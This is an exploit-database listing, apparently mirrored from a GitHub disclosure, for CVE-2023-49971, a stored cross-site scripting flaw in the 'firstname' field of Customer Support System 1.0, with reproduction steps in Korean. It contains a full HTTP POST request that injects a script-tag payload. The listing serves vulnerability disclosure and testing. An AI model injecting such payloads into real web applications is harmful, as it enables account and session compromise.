Sploitus

Exploit for CVE-2023-49971

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN79 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49971
# CVE-2023-49971

# Customer Support System 1.0 - "firstname" ν•„λ“œ/λ§€κ°œλ³€μˆ˜μ˜ Cross-Site Scripting (XSS) 취약점 ("customer_list" νŽ˜μ΄μ§€)

**μ„€λͺ…** : Customer Support System 1.0은 μ €μž₯ν˜• XSS에 μ·¨μ•½ν•©λ‹ˆλ‹€. Customer Support System 버전 1에 XSS 취약점이 μ‘΄μž¬ν•©λ‹ˆλ‹€. μ•…μ˜μ μΈ κ³΅κ²©μžλŠ” 고객 νŽΈμ§‘/생성 μ‹œ "firstname" ν•„λ“œ/λ§€κ°œλ³€μˆ˜λ₯Ό 톡해 JavaScript μ½”λ“œλ₯Ό μ‚½μž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 μ½”λ“œλŠ” "/customer_support/index.php?page=customer_list" νŽ˜μ΄μ§€μ— λ°©λ¬Έν•  λ•Œλ§ˆλ‹€ μ‹€ν–‰λ©λ‹ˆλ‹€.

**μ·¨μ•½ν•œ μ œν’ˆ 버전** : Customer Support System 1.0  
**CVE μž‘μ„±μž** : Geraldo AlcΓ’ntara  
**λ‚ μ§œ** : 2023λ…„ 11μ›” 28일  
**확인일** : 2023λ…„ 12μ›” 19일  
**CVE** : CVE-2023-49971  
**ν…ŒμŠ€νŠΈ ν™˜κ²½** : Windows

### μž¬ν˜„ 단계:

  1. μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— λ‘œκ·ΈμΈν•©λ‹ˆλ‹€.
  2. κΈ°μ‘΄ 고객을 νŽΈμ§‘ν•˜λ €λ©΄ "/customer_support/index.php?page=customer_list"둜 μ΄λ™ν•˜κ³ , μƒˆ 고객을 μƒμ„±ν•˜λ €λ©΄ "/customer_support/index.php?page=new_customer"둜 μ΄λ™ν•©λ‹ˆλ‹€.
  3. 고객을 μƒμ„±ν•˜κ±°λ‚˜ νŽΈμ§‘ν•˜λ©΄μ„œ "firstname" ν•„λ“œ/λ§€κ°œλ³€μˆ˜μ— μ•…μ„± νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚½μž…ν•©λ‹ˆλ‹€.
  4. νŽ˜μ΄λ‘œλ“œ: 



### Resquest:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=save_customer HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
    Content-Length: 1149
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="id"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="firstname"
    
    teste</dt></b><script>alert(document.domain)</script>
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="middlename"
    
    
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="lastname"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="contact"
    
    210
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="address"
    
    asdasd
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="email"
    
    some-email@example.com
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="password"
    
    xss
    -----------------------------212391604122778812451614149575
    Content-Disposition: form-data; name="cpass"
    
    xss
    -----------------------------212391604122778812451614149575--